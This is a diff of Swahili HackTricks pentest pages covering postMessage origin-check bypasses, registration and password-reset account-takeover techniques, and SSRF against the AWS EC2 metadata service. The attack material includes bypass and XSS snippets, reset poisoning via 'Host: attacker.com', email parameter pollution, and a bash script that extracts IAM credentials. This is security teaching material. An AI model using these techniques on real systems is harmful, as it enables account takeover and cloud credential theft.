* The use of **`indexOf()`** for origin validation in PostMessage events may be susceptible to bypassing. An example illustrating this vulnerability is:
|
||||
* **`event.isTrusted`** sifa inachukuliwa kuwa salama kwani inarudisha `True` tu kwa matukio ambayo yanatokana na vitendo halisi vya mtumiaji. Ingawa ni vigumu kupita ikiwa imewekwa vizuri, umuhimu wake katika ukaguzi wa usalama ni wa kutia maanani.
|
||||
* Matumizi ya **`indexOf()`** kwa uthibitishaji wa asili katika matukio ya PostMessage yanaweza kuwa na uwezekano wa kupita. Mfano unaoonyesha udhaifu huu ni:
|
||||
|
||||
```javascript
|
||||
("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
|
||||
```
|
||||
* The **`search()`** method from `String.prototype.search()` is intended for regular expressions, not strings. Passing anything other than a regexp leads to implicit conversion to regex, making the method potentially insecure. This is because in regex, a dot (.) acts as a wildcard, allowing for bypassing of validation with specially crafted domains. For instance:
|
||||
* Njia ya **`search()`** kutoka `String.prototype.search()` inakusudia kwa matumizi ya kawaida, si nyuzi. Kupitisha chochote kisichokuwa regexp kunasababisha uhamasishaji wa kimya kwa regex, na kufanya njia hiyo kuwa hatarishi. Hii ni kwa sababu katika regex, nukta (.) inafanya kazi kama wildcard, ikiruhusu kupita uthibitishaji na maeneo yaliyoundwa kwa njia maalum. Kwa mfano:
|
||||
|
||||
```javascript
|
||||
"https://www.safedomain.com".search("www.s.fedomain.com")
|
||||
```
|
||||
* The **`match()`** function, similar to `search()`, processes regex. If the regex is improperly structured, it might be prone to bypassing.
|
||||
* The **`escapeHtml`** function is intended to sanitize inputs by escaping characters. However, it does not create a new escaped object but overwrites the properties of the existing object. This behavior can be exploited. Particularly, if an object can be manipulated such that its controlled property does not acknowledge `hasOwnProperty`, the `escapeHtml` won't perform as expected. This is demonstrated in the examples below:
|
||||
* Kazi ya **`match()`**, kama `search()`, inashughulikia regex. Ikiwa regex imejengwa vibaya, inaweza kuwa na uwezekano wa kupita.
|
||||
* Kazi ya **`escapeHtml`** inakusudia kusafisha ingizo kwa kukwepa wahusika. Hata hivyo, haizalishi kitu kipya kilichokwepwa bali inabadilisha mali za kitu kilichopo. Tabia hii inaweza kutumika. Haswa, ikiwa kitu kinaweza kubadilishwa kwa namna ambayo mali yake inayodhibitiwa haikubali `hasOwnProperty`, `escapeHtml` haitafanya kazi kama inavyotarajiwa. Hii inaonyeshwa katika mifano hapa chini:
|
||||
|
||||
* Expected Failure:
|
||||
* Kushindwa Kutarajiwa:
|
||||
|
||||
```javascript
|
||||
result = u({
|
||||
|
|
@ -134,25 +121,25 @@ message: "'\"<b>\\"
|
|||
});
|
||||
result.message // "'"<b>\"
|
||||
```
|
||||
* Bypassing the escape:
|
||||
* Kupita kukwepa:
|
||||
|
||||
```javascript
|
||||
result = u(new Error("'\"<b>\\"));
|
||||
result.message; // "'"<b>\"
|
||||
```
|
||||
|
||||
In the context of this vulnerability, the `File` object is notably exploitable due to its read-only `name` property. This property, when used in templates, is not sanitized by the `escapeHtml` function, leading to potential security risks.
|
||||
* The `document.domain` property in JavaScript can be set by a script to shorten the domain, allowing for more relaxed same-origin policy enforcement within the same parent domain.
|
||||
Katika muktadha wa udhaifu huu, kitu cha `File` kinapatikana kwa urahisi kutokana na sifa yake ya kusoma tu `name`. Sifa hii, inapokuwa katika templeti, haijasafishwa na kazi ya `escapeHtml`, ikisababisha hatari za usalama.
|
||||
* Sifa ya `document.domain` katika JavaScript inaweza kuwekwa na skripti ili kupunguza eneo, ikiruhusu utekelezaji wa sera ya asili sawa kuwa rahisi zaidi ndani ya eneo moja la mzazi.
|
||||
|
||||
### e.origin == window.origin bypass
|
||||
|
||||
When embedding a web page within a **sandboxed iframe** using %%%%%%, it's crucial to understand that the iframe's origin will be set to null. This is particularly important when dealing with **sandbox attributes** and their implications on security and functionality.
|
||||
Wakati wa kuingiza ukurasa wa wavuti ndani ya **sandboxed iframe** kwa kutumia %%%%%%, ni muhimu kuelewa kwamba asili ya iframe itakuwa imewekwa kuwa null. Hii ni muhimu hasa wakati wa kushughulikia **sifa za sandbox** na athari zao kwenye usalama na utendaji.
|
||||
|
||||
By specifying **`allow-popups`** in the sandbox attribute, any popup window opened from within the iframe inherits the sandbox restrictions of its parent. This means that unless the **`allow-popups-to-escape-sandbox`** attribute is also included, the popup window's origin is similarly set to `null`, aligning with the iframe's origin.
|
||||
Kwa kubainisha **`allow-popups`** katika sifa ya sandbox, dirisha lolote la popup lililofunguliwa kutoka ndani ya iframe linapata vizuizi vya sandbox vya mzazi wake. Hii inamaanisha kwamba isipokuwa sifa ya **`allow-popups-to-escape-sandbox`** pia imejumuishwa, asili ya dirisha la popup pia imewekwa kuwa `null`, ikilingana na asili ya iframe.
|
||||
|
||||
Consequently, when a popup is opened under these conditions and a message is sent from the iframe to the popup using **`postMessage`**, both the sending and receiving ends have their origins set to `null`. This situation leads to a scenario where **`e.origin == window.origin`** evaluates to true (`null == null`), because both the iframe and the popup share the same origin value of `null`.
|
||||
Kwa hivyo, wakati popup inafunguliwa chini ya hali hizi na ujumbe unatumwa kutoka iframe hadi popup kwa kutumia **`postMessage`**, pande zote za kutuma na kupokea zina asili zao zimewekwa kuwa `null`. Hali hii inasababisha hali ambapo **`e.origin == window.origin`** inathibitishwa kuwa kweli (`null == null`), kwa sababu iframe na popup zinashiriki thamani sawa ya asili ya `null`.
|
||||
|
||||
For more information **read**:
|
||||
Kwa maelezo zaidi **soma**:
|
||||
|
||||
{% content-ref url="bypassing-sop-with-iframes-1.md" %}
|
||||
[bypassing-sop-with-iframes-1.md](bypassing-sop-with-iframes-1.md)
|
||||
|
|
@ -160,7 +147,7 @@ For more information **read**:
|
|||
|
||||
### Bypassing e.source
|
||||
|
||||
It's possible to check if the message came from the same window the script is listening in (specially interesting for **Content Scripts from browser extensions** to check if the message was sent from the same page):
|
||||
Inawezekana kuangalia ikiwa ujumbe ulitoka kwenye dirisha sawa ambalo skripti inasikiliza (hasa ya kuvutia kwa **Content Scripts kutoka nyongeza za kivinjari** kuangalia ikiwa ujumbe ulitumwa kutoka kwenye ukurasa sawa):
|
||||
```javascript
|
||||
// If it’s not, return immediately.
|
||||
if( received_message.source !== window ) {
|
||||
|
|
@ -177,8 +164,8 @@ For more information **read:**
|
|||
|
||||
### X-Frame-Header bypass
|
||||
|
||||
Ili kutekeleza mashambulizi haya, kwa njia bora utakuwa na uwezo wa **kueka ukurasa wa mtandao wa mwathirika** ndani ya `iframe`. Lakini vichwa vingine kama `X-Frame-Header` vinaweza **kuzuia** hiyo **tabia**.\
|
||||
Katika hali hizo, bado unaweza kutumia shambulizi ambalo halijafichwa vizuri. Unaweza kufungua kichupo kipya kwa programu ya wavuti iliyo hatarini na kuwasiliana nayo:
|
||||
Ili kutekeleza mashambulizi haya, kwa njia bora utakuwa na uwezo wa **kueka ukurasa wa mtandaoni wa mwathirika** ndani ya `iframe`. Lakini vichwa vingine kama `X-Frame-Header` vinaweza **kuzuia** hiyo **tabia**.\
|
||||
Katika hali hizo, bado unaweza kutumia shambulizi ambalo halijafichwa sana. Unaweza kufungua kichupo kipya kwa programu ya wavuti iliyo hatarini na kuwasiliana nayo:
|
||||
```markup
|
||||
<script>
|
||||
var w=window.open("<url>")
|
||||
|
|
@ -187,7 +174,7 @@ setTimeout(function(){w.postMessage('text here','*');}, 2000);
|
|||
```
|
||||
### Kuiba ujumbe uliopelekwa kwa mtoto kwa kuzuia ukurasa mkuu
|
||||
|
||||
Katika ukurasa ufuatao unaweza kuona jinsi unavyoweza kuiba **data nyeti za postmessage** zilizotumwa kwa **iframe ya mtoto** kwa **kuzuia** **ukurasa** **mkuu** kabla ya kutuma data na kutumia **XSS katika mtoto** ili **kuiba data** kabla haijapokelewa:
|
||||
Katika ukurasa ufuatao unaweza kuona jinsi unavyoweza kuiba **data nyeti za postmessage** zilizotumwa kwa **iframe ya mtoto** kwa **kuzuia** **ukurasa mkuu** kabla ya kutuma data na kutumia **XSS katika mtoto** ili **kuvuja data** kabla haijapokelewa:
|
||||
|
||||
{% content-ref url="blocking-main-page-to-steal-postmessage.md" %}
|
||||
[blocking-main-page-to-steal-postmessage.md](blocking-main-page-to-steal-postmessage.md)
|
||||
|
|
@ -205,7 +192,7 @@ Ikiwa unaweza iframe ukurasa wa wavuti bila X-Frame-Header ambao una iframe nyin
|
|||
|
||||
Katika hali ambapo data iliyotumwa kupitia `postMessage` inatekelezwa na JS, unaweza **iframe** **ukurasa** na **kutumia** **uchafuzi wa prototype/XSS** ukituma exploit kupitia `postMessage`.
|
||||
|
||||
Mfano kadhaa wa **XSS nzuri sana kupitia `postMessage`** yanaweza kupatikana katika [https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html)
|
||||
Mfano kadhaa wa **XSS nzuri sana zilizofafanuliwa kupitia `postMessage`** zinaweza kupatikana katika [https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html)
|
||||
|
||||
Mfano wa exploit ya kutumia **Uchafuzi wa Prototype na kisha XSS** kupitia `postMessage` kwa `iframe`:
|
||||
```html
|
||||
|
|
@ -235,21 +222,10 @@ Kwa **maelezo zaidi**:
|
|||
* [https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd](https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd)
|
||||
* Kufanya mazoezi: [https://github.com/yavolo/eventlistener-xss-recon](https://github.com/yavolo/eventlistener-xss-recon)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ni injini ya utafutaji inayotumiwa na **dark-web** ambayo inatoa kazi za **bure** kuangalia kama kampuni au wateja wake wamekuwa **compromised** na **stealer malwares**.
|
||||
|
||||
Lengo lao kuu la WhiteIntel ni kupambana na kuchukuliwa kwa akaunti na mashambulizi ya ransomware yanayotokana na malware inayohusisha wizi wa taarifa.
|
||||
|
||||
Unaweza kuangalia tovuti yao na kujaribu injini yao **bure** kwenye:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Jifunze & fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze & fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
|||
|
|
@ -1,4 +1,4 @@
|
|||
# Usalama wa Usajili & Ukatili
|
||||
# Usajili & Ukatili wa Akaunti
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze & fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
@ -10,24 +10,11 @@ Jifunze & fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt
|
|||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ni injini ya utafutaji inayotumiwa na **dark-web** ambayo inatoa kazi za **bure** kuangalia ikiwa kampuni au wateja wake wamekuwa **kuyumbishwa** na **stealer malwares**.
|
||||
|
||||
Lengo lao kuu la WhiteIntel ni kupambana na ukatili wa akaunti na mashambulizi ya ransomware yanayotokana na malware inayopora taarifa.
|
||||
|
||||
Unaweza kuangalia tovuti yao na kujaribu injini yao kwa **bure** kwenye:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Ukatili wa Usajili
|
||||
|
||||
|
|
@ -37,7 +24,7 @@ Unaweza kuangalia tovuti yao na kujaribu injini yao kwa **bure** kwenye:
|
|||
* Angalia kubadilisha barua pepe:
|
||||
* herufi kubwa
|
||||
* \+1@
|
||||
* ongeza nukta katika barua pepe
|
||||
* ongeza nukta kwenye barua pepe
|
||||
* wahusika maalum katika jina la barua pepe (%00, %09, %20)
|
||||
* Weka wahusika weusi baada ya barua pepe: `test@test.com a`
|
||||
* victim@gmail.com@attacker.com
|
||||
|
|
@ -45,12 +32,12 @@ Unaweza kuangalia tovuti yao na kujaribu injini yao kwa **bure** kwenye:
|
|||
|
||||
### Uhesabuji wa Jina la Mtumiaji
|
||||
|
||||
Angalia ikiwa unaweza kubaini wakati jina la mtumiaji tayari limeandikishwa ndani ya programu.
|
||||
Angalia kama unaweza kubaini wakati jina la mtumiaji tayari limeregisteriwa ndani ya programu.
|
||||
|
||||
### Sera ya Nywila
|
||||
|
||||
Kuunda mtumiaji angalia sera ya nywila (angalia ikiwa unaweza kutumia nywila dhaifu).\
|
||||
Katika hali hiyo unaweza kujaribu kubruteforce akauti.
|
||||
Unapounda mtumiaji angalia sera ya nywila (angalia kama unaweza kutumia nywila dhaifu).\
|
||||
Katika hali hiyo unaweza kujaribu kubruteforce taarifa za kuingia.
|
||||
|
||||
### SQL Injection
|
||||
|
||||
|
|
@ -70,35 +57,35 @@ Katika hali hiyo unaweza kujaribu kubruteforce akauti.
|
|||
|
||||
### Badilisha Barua Pepe
|
||||
|
||||
Wakati umejiandikisha jaribu kubadilisha barua pepe na uone ikiwa mabadiliko haya yanathibitishwa vizuri au unaweza kuyabadilisha kuwa barua pepe zisizo na mpangilio.
|
||||
Wakati wa usajili jaribu kubadilisha barua pepe na angalia kama mabadiliko haya yanathibitishwa kwa usahihi au unaweza kuyabadilisha kuwa barua pepe zisizo na mpangilio.
|
||||
|
||||
### Ukaguzi Zaidi
|
||||
|
||||
* Angalia ikiwa unaweza kutumia **barua pepe za muda**
|
||||
* Angalia kama unaweza kutumia **barua pepe za muda**
|
||||
* **Nywila** **ndefu** (>200) inasababisha **DoS**
|
||||
* **Angalia mipaka ya viwango kwenye uundaji wa akaunti**
|
||||
* Tumia username@**burp\_collab**.net na uchambue **callback**
|
||||
|
||||
## **Ukatili wa Kurejesha Nywila**
|
||||
## **Ukatili wa Kurekebisha Nywila**
|
||||
|
||||
### Kuvuja kwa Token ya Kurejesha Nywila Kupitia Referrer <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>
|
||||
### Kuvuja kwa Tokeni ya Kurekebisha Nywila Kupitia Referrer <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>
|
||||
|
||||
1. Omba kurejesha nywila kwa anwani yako ya barua pepe
|
||||
2. Bonyeza kwenye kiungo cha kurejesha nywila
|
||||
1. Omba kurekebisha nywila kwa anwani yako ya barua pepe
|
||||
2. Bonyeza kwenye kiungo cha kurekebisha nywila
|
||||
3. Usibadilishe nywila
|
||||
4. Bonyeza tovuti zozote za 3rd party (mfano: Facebook, twitter)
|
||||
5. Kamatia ombi katika Burp Suite proxy
|
||||
6. Angalia ikiwa kichwa cha referer kinavuja token ya kurejesha nywila.
|
||||
6. Angalia kama kichwa cha referer kinavuja tokeni ya kurekebisha nywila.
|
||||
|
||||
### Ukatili wa Kurejesha Nywila <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>
|
||||
### Ukatili wa Kurekebisha Nywila <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>
|
||||
|
||||
1. Kamatia ombi la kurejesha nywila katika Burp Suite
|
||||
1. Kamatia ombi la kurekebisha nywila katika Burp Suite
|
||||
2. Ongeza au hariri vichwa vifuatavyo katika Burp Suite : `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
|
||||
3. Tuma ombi na kichwa kilichobadilishwa\
|
||||
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
|
||||
4. Tafuta URL ya kurejesha nywila kulingana na _host header_ kama: `https://attacker.com/reset-password.php?token=TOKEN`
|
||||
4. Tafuta URL ya kurekebisha nywila kulingana na _kichwa cha host_ kama : `https://attacker.com/reset-password.php?token=TOKEN`
|
||||
|
||||
### Kurejesha Nywila Kupitia Kigezo cha Barua Pepe <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
|
||||
### Kurekebisha Nywila Kupitia Kigezo cha Barua Pepe <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
|
||||
```powershell
|
||||
# parameter pollution
|
||||
email=victim@mail.com&email=hacker@mail.com
|
||||
|
|
@ -134,7 +121,7 @@ Jaribu kubaini kama token hiyo inaisha muda au kama kila wakati ni ile ile, kati
|
|||
* Tarehe ya Kuzaliwa
|
||||
* Cryptography
|
||||
* Nambari pekee
|
||||
* Mfuatano mdogo wa token (herufi kati ya \[A-Z,a-z,0-9])
|
||||
* Mfululizo mdogo wa token (herufi kati ya \[A-Z,a-z,0-9])
|
||||
* Tumia tena token
|
||||
* Tarehe ya kumalizika kwa token
|
||||
|
||||
|
|
@ -147,7 +134,7 @@ Jaribu kubaini kama token hiyo inaisha muda au kama kila wakati ni ile ile, kati
|
|||
### Password Reset Via Username Collision <a href="#password-reset-via-username-collision" id="password-reset-via-username-collision"></a>
|
||||
|
||||
1. Jisajili kwenye mfumo kwa jina la mtumiaji linalofanana na jina la mtumiaji wa mwathirika, lakini ukiweka nafasi za wazi kabla na/au baada ya jina la mtumiaji. e.g: `"admin "`
|
||||
2. Omba kubadilisha nenosiri kwa kutumia jina lako la mtumiaji la uhalifu.
|
||||
2. Omba kubadilisha nenosiri kwa jina lako la mtumiaji la uhalifu.
|
||||
3. Tumia token iliyotumwa kwa barua pepe yako na ubadilishe nenosiri la mwathirika.
|
||||
4. Unganisha kwenye akaunti ya mwathirika kwa nenosiri jipya.
|
||||
|
||||
|
|
@ -184,7 +171,7 @@ Hackerone inaripoti kutumia hitilafu hii\
|
|||
|
||||
### Kuchukua Akaunti kupitia CSRF <a href="#account-takeover-via-csrf" id="account-takeover-via-csrf"></a>
|
||||
|
||||
1. Tengeneza payload kwa CSRF, mfano: “Fomu ya HTML yenye kuwasilisha kiotomatiki kwa ajili ya kubadilisha nenosiri”
|
||||
1. Tengeneza payload kwa CSRF, mfano: “Fomu ya HTML yenye kuwasilisha kiotomatiki kwa mabadiliko ya nenosiri”
|
||||
2. Tuma payload
|
||||
|
||||
### Kuchukua Akaunti kupitia JWT <a href="#account-takeover-via-jwt" id="account-takeover-via-jwt"></a>
|
||||
|
|
@ -202,29 +189,18 @@ JSON Web Token inaweza kutumika kuthibitisha mtumiaji.
|
|||
|
||||
* [https://salmonsec.com/cheatsheet/account\_takeover](https://salmonsec.com/cheatsheet/account\_takeover)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ni injini ya utafutaji inayotumiwa na **dark-web** ambayo inatoa kazi za **bure** kuangalia kama kampuni au wateja wake wamekuwa **kuyumbishwa** na **malware ya wizi**.
|
||||
|
||||
Lengo lao kuu la WhiteIntel ni kupambana na kuchukuliwa kwa akaunti na mashambulizi ya ransomware yanayotokana na malware ya wizi wa taarifa.
|
||||
|
||||
Unaweza kuangalia tovuti yao na kujaribu injini yao **bure** kwenye:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Jifunze & fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze & fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -15,29 +15,21 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## AWS
|
||||
|
||||
### Abusing SSRF in AWS EC2 environment
|
||||
|
||||
**Metadata** mwisho unaweza kufikiwa kutoka ndani ya mashine yoyote ya EC2 na inatoa taarifa za kuvutia kuhusu hiyo. Inapatikana katika url: `http://169.254.169.254` ([taarifa kuhusu metadata hapa](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)).
|
||||
**The metadata** endpoint inaweza kufikiwa kutoka ndani ya mashine yoyote ya EC2 na inatoa taarifa za kuvutia kuhusu hiyo. Inapatikana katika url: `http://169.254.169.254` ([taarifa kuhusu metadata hapa](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)).
|
||||
|
||||
Kuna **toleo 2** za mwisho wa metadata. **Toleo la kwanza** linaruhusu **kufikia** mwisho kupitia **GET** maombi (hivyo **SSRF yoyote inaweza kuitumia**). Kwa **toleo la 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), unahitaji kuomba **token** kwa kutuma **PUT** ombi na **HTTP header** na kisha tumia token hiyo kufikia metadata kwa kutumia HTTP header nyingine (hivyo ni **ngumu zaidi kuitumia** na SSRF).
|
||||
Kuna **toleo 2** la metadata endpoint. **Toleo la kwanza** linaruhusu **kufikia** endpoint kupitia **GET** requests (hivyo **SSRF yoyote inaweza kuitumia**). Kwa **toleo la 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), unahitaji kuomba **token** kwa kutuma **PUT** request na **HTTP header** na kisha tumia token hiyo kufikia metadata kwa HTTP header nyingine (hivyo ni **ngumu zaidi kuitumia** na SSRF).
|
||||
|
||||
{% hint style="danger" %}
|
||||
Kumbuka kwamba ikiwa mfano wa EC2 unatekeleza IMDSv2, [**kulingana na hati**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **jibu la ombi la PUT** litakuwa na **kipimo cha hop cha 1**, na kufanya iwe haiwezekani kufikia metadata ya EC2 kutoka kwenye kontena ndani ya mfano wa EC2.
|
||||
Kumbuka kwamba ikiwa EC2 instance inatekeleza IMDSv2, [**kulingana na nyaraka**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **jibu la PUT request** litakuwa na **hop limit ya 1**, na kufanya iwe haiwezekani kufikia metadata ya EC2 kutoka kwenye kontena ndani ya EC2 instance.
|
||||
|
||||
Zaidi ya hayo, **IMDSv2** pia **itazuia maombi ya kupata token ambayo yanajumuisha `X-Forwarded-For` header**. Hii ni ili kuzuia proxies za nyuma zilizowekwa vibaya zisifike.
|
||||
Zaidi ya hayo, **IMDSv2** pia **itazuia maombi ya kupata token ambayo yanajumuisha `X-Forwarded-For` header**. Hii ni ili kuzuia proxies za nyuma zilizopangwa vibaya zisifike.
|
||||
{% endhint %}
|
||||
|
||||
Unaweza kupata taarifa kuhusu [michakato ya metadata katika hati](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). Katika skripti ifuatayo taarifa za kuvutia zinapatikana kutoka kwake:
|
||||
Unaweza kupata taarifa kuhusu [metadata endpoints katika nyaraka](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). Katika script ifuatayo taarifa za kuvutia zinapatikana kutoka kwake:
|
||||
```bash
|
||||
EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
|
||||
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
|
||||
|
|
@ -99,7 +91,7 @@ eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance";
|
|||
```
|
||||
Kama mfano wa **IAM credentials** zinazopatikana hadharani, unaweza kutembelea: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws)
|
||||
|
||||
Unaweza pia kuangalia **EC2 security credentials** za umma katika: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
|
||||
Pia unaweza kuangalia **EC2 security credentials** za umma katika: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
|
||||
|
||||
Basi unaweza kuchukua **credentials hizo na kuzitumia na AWS CLI**. Hii itakuruhusu kufanya **chochote ambacho jukumu hilo lina ruhusa** kufanya.
|
||||
|
||||
|
|
@ -112,13 +104,13 @@ aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4
|
|||
```
|
||||
Notice the **aws\_session\_token**, hii ni muhimu kwa ajili ya profaili kufanya kazi.
|
||||
|
||||
